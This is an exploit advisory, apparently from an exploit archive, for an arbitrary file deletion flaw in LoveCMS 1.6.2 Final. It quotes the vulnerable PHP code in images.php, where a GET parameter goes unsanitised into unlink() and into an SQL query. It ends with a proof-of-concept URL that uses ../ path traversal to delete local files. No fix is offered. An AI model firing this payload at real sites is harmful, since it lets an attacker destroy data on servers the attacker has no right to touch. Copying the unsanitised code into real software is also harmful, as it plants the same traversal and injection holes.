+-------------------------------------------------------------------------------------------------------+
| |
| Name : LoveCMS 1.6.2 Final Arbitrary File Delete Vulnerability |
| Author : cOndmened |
| Greetz : ZaBeaTy, rtgn, doctor, elmasterlow, str0ke, t0pP8uZz & all friends |
| Details : Ofc, we can only delete files from places that we have permission |
| to access x] |
| |
+-------------------------------------------------------------------------------------------------------+
source of/lovecms/system/admin/images.php
41. if($_GET['delete'])
42. {
43. $filename = $_GET['delete'];
44. $sql = $db -> db_query("DELETE FROM " . DB_PREFIX . "images
45. WHERE filename = '$filename'");
46.
47. unlink(LOVE_ROOT . '/uploads/' . $filename);
48. unlink(LOVE_ROOT . '/uploads/thumbs/' . $filename);
49.
50. redirect_with_message('msg', 'LANG_088');
51. }
Description :
41. name of file to delete is being sended using GET method in variable called 'delete'
47. here the requested file is being erased
rest of the code block doesn't matters
Proof of concept :
http://[host]/[loveCMS-path]/system/admin/images.php?delete=../../../[local-file]
